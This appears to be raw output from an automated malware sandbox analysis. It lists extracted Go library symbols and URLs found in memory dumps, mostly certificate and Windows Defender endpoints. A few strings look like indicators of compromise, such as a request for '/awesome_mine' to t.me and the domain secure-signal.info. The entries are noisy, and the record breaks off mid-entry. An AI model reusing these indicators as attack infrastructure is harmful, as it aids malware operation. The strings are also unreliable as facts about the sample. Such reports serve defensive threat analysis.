"golang.org/x/text/unicode/norm.(*nfkctrie).lookup" Pattern match: "golang.org/x/text/unicode/norm.(*nfkctrie).lookupstring" Pattern match: "golang.org/x/text/unicode/norm.(*nfkctrie).lookupvalue" Pattern match: "golang.org/x/text/unicode/norm.(*sparseblocks).lookup" Pattern match: "golang.org/x/net/idna.init" Pattern match: "golang.org/x/net/idna.labelerror.error" Pattern match: "golang.org/x/net/idna.runeerror.error" Pattern match: "golang.org/x/net/idna.(*profile).process" Pattern match: "golang.org/x/net/idna.(*labeliter).done" Pattern match: "golang.org/x/net/idna.(*labeliter).next" Pattern match: "golang.org/x/net/idna.(*labeliter).reset" Pattern match: "golang.org/x/net/idna.(*labeliter).result" Pattern match: "golang.org/x/net/idna.ascii" Pattern match: "golang.org/x/net/idna.info.isbidi" Pattern match: "golang.org/x/net/idna.info.ismapped" Pattern match: "golang.org/x/net/idna.validateandmap" Pattern match: "golang.org/x/net/idna.(*profile).simplify" Pattern match: "golang.org/x/net/idna.info.category" Pattern match: "golang.org/x/text/unicode/norm.form.quickspan" Pattern match: "golang.org/x/text/unicode/norm.inputbytes" Pattern match: "golang.org/x/net/idna.(*labeliter).label" Pattern match: "golang.org/x/net/idna.(*labeliter).set" Pattern match: "golang.org/x/net/idna.validatefrompunycode" Pattern match: "golang.org/x/net/idna.(*profile).validatelabel" Pattern match: "golang.org/x/net/idna.info.ismodifier" Pattern match: "golang.org/x/net/idna.info.jointype" Pattern match: "golang.org/x/net/idna.info.isviramamodifier" Pattern match: "golang.org/x/net/idna.decode" Pattern match: "golang.org/x/net/idna.punyerror" Pattern match: "golang.org/x/net/idna.adapt" Pattern match: "golang.org/x/net/idna.madd" Pattern match: "golang.org/x/net/idna.decodedigit" Pattern match: "golang.org/x/net/idna.encode" Pattern match: "golang.org/x/net/idna.encodedigit" Pattern match: "golang.org/x/net/idna.(*idnatrie).lookupstring" Pattern match: "golang.org/x/net/idna.(*idnatrie).lookupvalue" Pattern match: "golang.org/x/net/idna.(*sparseblocks).lookup" Pattern match: "golang.org/x/net/idna.info.appendmapping" Pattern match: "golang.org/x/net/idna.labelerror" Pattern match: "golang.org/x/net/idna.(*labelerror).error" Pattern match: "golang.org/x/net/idna.(*runeerror).error" Pattern match: "golang.org/x/net/http/httpguts.headervaluecontainstoken" Pattern match: "golang.org/x/net/http/httpguts.trimows" Pattern match: "golang.org/x/net/http/httpguts.tokenequal" Pattern match: "golang.org/x/net/http/httpguts.isows" Pattern match: "golang.org/x/net/http/httpguts.lowerascii" Pattern match: "golang.org/x/net/http/httpguts.punycodehostport" Pattern match: "golang.org/x/net/http/httpguts.isascii" Pattern match: "golang.org/x/net/idna.toascii" Pattern match: "golang.org/x/net/http/httpguts.init" Pattern match: "golang.org/x/net/http2/hpack.init" Pattern match: "golang.org/x/net/http2/hpack.init.func1" Pattern match: "golang.org/x/net/http2/hpack.newencoder" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).init" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).setmaxsize" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).writefield" Pattern match: "golang.org/x/net/http2/hpack.appendtablesize" Pattern match: "golang.org/x/net/http2/hpack.appendvarint" Pattern match: "golang.org/x/net/http2/hpack.appendindexed" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).shouldindex" Pattern match: "golang.org/x/net/http2/hpack.headerfield.size" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).searchtable" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).len" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).setmaxdynamictablesize" Pattern match: "golang.org/x/net/http2/hpack.appendnewname" Pattern match: "golang.org/x/net/http2/hpack.encodetypebyte" Pattern match: "golang.org/x/net/http2/hpack.appendindexedname" Pattern match: "golang.org/x/net/http2/hpack.appendhpackstring" Pattern match: "golang.org/x/net/http2/hpack.huffmanencodelength" Pattern match: "golang.org/x/net/http2/hpack.decodingerror.error" Pattern match: "golang.org/x/net/http2/hpack.invalidindexerror.error" Pattern match: "golang.org/x/net/http2/hpack.headerfield.string" Pattern match: "golang.org/x/net/http2/hpack.newdecoder" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setemitfunc" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).add" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).addentry" Pattern match: "golang.org/x/net/http2/hpack.(*dynamictable).evict" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).close" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).write" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parseheaderfieldrepr" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsefieldindexed" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).at" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).maxtableindex" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsefieldliteral" Pattern match: "golang.org/x/net/http2/hpack.indextype.indexed" Pattern match: "golang.org/x/net/http2/hpack.indextype.sensitive" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).callemit" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).parsedynamictablesizeupdate" Pattern match: "golang.org/x/net/http2/hpack.readvarint" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).readstring" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).decodestring" Pattern match: "golang.org/x/net/http2/hpack.huffmandecode" Pattern match: "golang.org/x/net/http2/hpack.getroothuffmannode" Pattern match: "golang.org/x/net/http2/hpack.buildroothuffmannode" Pattern match: "golang.org/x/net/http2/hpack.newinternalnode" Pattern match: "golang.org/x/net/http2/hpack.appendhuffmanstring" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).evictoldest" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).search" Pattern match: "golang.org/x/net/http2/hpack.(*headerfieldtable).idtoindex" Pattern match: "golang.org/x/net/http2/hpack.(*decodingerror).error" Pattern match: "golang.org/x/net/http2/hpack.(*headerfield).string" Pattern match: "golang.org/x/net/http2/hpack.(*invalidindexerror).error" Pattern match: "golang.org/x/net/http2/hpack.headerfield" Pattern match: "golang.org/x/net/http2/hpack.pairnamevalue" Pattern match: "golang.org/x/net/http/httpguts.validhostheader" Pattern match: "golang.org/x/net/http/httpguts.validheaderfieldname" Pattern match: "golang.org/x/net/http/httpguts.validheaderfieldvalue" Pattern match: "golang.org/x/net/http/httpguts.isctl" Pattern match: "golang.org/x/net/http/httpguts.islws" Pattern match: "eq.net/http/internal.chunkedreader" Pattern match: "golang.org/x/net/http/httpproxy.init" Pattern match: "golang.org/x/net/http/httpproxy.fromenvironment" Pattern match: "golang.org/x/net/http/httpproxy.getenvany" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyforurl" Pattern match: "golang.org/x/net/http/httpproxy.parseproxy" Pattern match: "golang.org/x/net/http/httpproxy.(*config).useproxy" Pattern match: "golang.org/x/net/http/httpproxy.(*config).init" Pattern match: "golang.org/x/net/http/httpproxy.canonicaladdr" Pattern match: "golang.org/x/net/http/httpproxy.idnaascii" Pattern match: "golang.org/x/net/http/httpproxy.isascii" Pattern match: "golang.org/x/net/idna.(*profile).toascii" Pattern match: "golang.org/x/net/http/httpproxy.allmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.cidrmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.ipmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.domainmatch.match" Pattern match: "golang.org/x/net/http/httpproxy.domainmatch" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyforurl-fm" Pattern match: "golang.org/x/net/http/httpproxy.(*allmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*cidrmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*ipmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.(*domainmatch).match" Pattern match: "golang.org/x/net/http/httpproxy.config" Heuristic match: "net/http.(*client).do" Pattern match: "golang.org/x/net/http2/hpack.headerfield.ispseudo" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setemitenabled" Pattern match: "golang.org/x/net/http2/hpack.(*decoder).setmaxstringlength" Pattern match: "golang.org/x/net/http/httpguts.istokenrune" Pattern match: "golang.org/x/net/http2/hpack.(*encoder).setmaxdynamictablesizelimit" Pattern match: "golang.org/x/net/http/httpguts.headervaluescontainstoken" Heuristic match: "net/http.http2streamerror.as" Heuristic match: "net/http/internal/ascii.is" Heuristic match: "net/http.(*timeouterror).is" Pattern match: "golang.org/x/net/http/httpproxy.(*config).proxyfunc" Pattern match: "eq.net/http.http2priorityparam" Pattern match: "eq.net/http.http2frameheader" Pattern match: "eq.net/http.http2setting" Pattern match: "eq.net/http.segment" Pattern match: "eq.net/http.http2pingframe" Pattern match: "eq.net/http.http2priorityframe" Pattern match: "eq.net/http.http2rststreamframe" Pattern match: "eq.net/http.http2windowupdateframe" Pattern match: "eq.net/http.http2streamerror" Pattern match: "eq.net/http.readtrackingbody" Pattern match: "eq.net/http.unencryptednetconnintlsconn" Pattern match: "eq.net/http.connectmethodkey" Pattern match: "hash.net/http.connectmethodkey" Pattern match: "eq.net/http.connorerror" Pattern match: "eq.net/http.http2goawayerror" Pattern match: "eq.net/http.http2connerror" Pattern match: "eq.net/http.http2stickyerrwriter" Heuristic match: "net/http.(*http2streamerror).as" Pattern match: "eq.net/http.socksusernamepassword" Pattern match: "eq.os/exec.error" Pattern match: "eq.os/exec.wrappederror" Pattern match: "eq.os/exec.ctxresult" Pattern match: "golang.org/x/crypto/cryptobyte/asn1.go" Pattern match: "golang.org/x/crypto/cryptobyte/string.go" Pattern match: "golang.org/x/crypto/cryptobyte/builder.go" Pattern match: "golang.org/x/net/dns/dnsmessage/message.go" Pattern match: "golang.org/x/sys/cpu/cpu.go" Pattern match: "golang.org/x/sys/cpu/cpu_x86.go" Pattern match: "golang.org/x/sys/cpu/runtime_auxv_go121.go" Pattern match: "golang.org/x/sys/cpu/cpu_gc_x86.s" Pattern match: "golang.org/x/crypto/chacha20/chacha_generic.go" Pattern match: "golang.org/x/crypto/chacha20/chacha_noasm.go" Pattern match: "golang.org/x/crypto/internal/alias/alias.go" Pattern match: "golang.org/x/crypto/chacha20/xor.go" Pattern match: "golang.org/x/crypto/internal/poly1305/poly1305.go" Pattern match: "golang.org/x/crypto/internal/poly1305/sum_asm.go" Pattern match: "golang.org/x/crypto/internal/poly1305/sum_generic.go" Pattern match: "golang.org/x/crypto/internal/poly1305/sum_amd64.s" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305_amd64.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305_generic.go" Pattern match: "golang.org/x/crypto/chacha20poly1305/chacha20poly1305_amd64.s" Pattern match: "golang.org/x/text/unicode/bidi/prop.go" Pattern match: "golang.org/x/text/unicode/bidi/tables15.0.0.go" Pattern match: "golang.org/x/text/secure/bidirule/bidirule.go" Pattern match: "golang.org/x/text/secure/bidirule/bidirule10.0.0.go" Pattern match: "golang.org/x/text/unicode/norm/trie.go" Pattern match: "golang.org/x/text/unicode/norm/transform.go" Pattern match: "golang.org/x/text/unicode/norm/composition.go" Pattern match: "golang.org/x/text/unicode/norm/forminfo.go" Pattern match: "golang.org/x/text/unicode/norm/input.go" Pattern match: "golang.org/x/text/unicode/norm/iter.go" Pattern match: "golang.org/x/text/unicode/norm/normalize.go" Pattern match: "golang.org/x/text/unicode/norm/tables15.0.0.go" Pattern match: "golang.org/x/net/idna/trie.go" Pattern match: "golang.org/x/net/idna/idna10.0.0.go" Pattern match: "golang.org/x/net/idna/trieval.go" Pattern match: "golang.org/x/net/idna/punycode.go" Pattern match: "golang.org/x/net/idna/tables15.0.0.go" Pattern match: "golang.org/x/net/idna/trie13.0.0.go" Pattern match: "golang.org/x/net/http/httpguts/httplex.go" Pattern match: "golang.org/x/net/http/httpguts/guts.go" Pattern match: "golang.org/x/net/http2/hpack/static_table.go" Pattern match: "golang.org/x/net/http2/hpack/huffman.go" Pattern match: "golang.org/x/net/http2/hpack/hpack.go" Pattern match: "golang.org/x/net/http2/hpack/tables.go" Pattern match: "golang.org/x/net/http2/hpack/encode.go" Pattern match: "golang.org/x/net/http/httpproxy/proxy.go" Heuristic match: "c:/program files/go/src/runtime/runtime-gdb.py" Heuristic match: "get /awesome_mine http/1.1connection: keep-alivehost: t.me" Heuristic match: "secure-signal.info" Heuristic match: "gitlab.com" Heuristic match: "pastebin.com" Heuristic match: "pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.jm" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: "s\microsoft.net" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "s-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "stem.mp" Pattern match: "www.digicert.com1$0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1!0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "www.digicert.com1" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Heuristic match: "ystem.windows.fo" Pattern match: "http://www.microsoft.com" Pattern match: "www.microsoft.com/pkiopsd" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "t.com/pkw" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is"50:T9011,Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmp'" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00004092.00000001.292655.7B864000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.121.464z0washington1redmond1microsoft" - Source: "00000000-00004092.00000001.292655.7B9B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiopsdrosoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004092.00000001.292655.7B9B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004092.00000001.292655.7B9B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00004092.00000001.292655.7B9B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0r!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005928.00000001.294805.E2760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005928.00000001.294805.E2760000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l," - Source: "00000000-00005928.00000001.294805.E2760000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0!" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm80" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek\rg!c<$ahttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000001.294805.FCFD0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportc:\windows\system32\windowspowershell\v1.0;c:\windows\system32;c:\windows\system;c:\windows;.;c:\program" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.com1402http://www.microsoft.com" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com$y^zmicrosorsa1" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005928.00000002.296725.1722A000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&forceupdatefrommuhttpupdatealtlocationcloudbasedbehaviorblockingsignaturedisablenotificationdisablescheduledsignatureupdateonbatterysignaturecategoryidnissignatureslastupdatedsignatureupdatecatchupintervalenableemergencysigslastemergencysigchecknissignatureversiondeltaupdatefailure%mpconfig_productappdatapath%\definition" - Source: "00000000-00005928.00000002.296725.1722A000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00005928.00000002.296725.1722A000.00000002.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005928.00000002.296725.E2760000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005928.00000002.296725.E2760000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l," - Source: "00000000-00005928.00000002.296725.E2760000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0!" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm80" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek\rg!c<$ahttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000002.296725.FCFD0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportc:\windows\system32\windowspowershell\v1.0;c:\windows\system32;c:\windows\system;c:\windows;.;c:\program" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com1402http://www.microsoft.com1402http://www.microsoft.com" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com$y^zmicrosorsa1" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=623636" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00007308.00000001.288339.31943000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwashington1redmond1microsoft" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eit+0q" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lpd?@g_i!b_%" - Source: 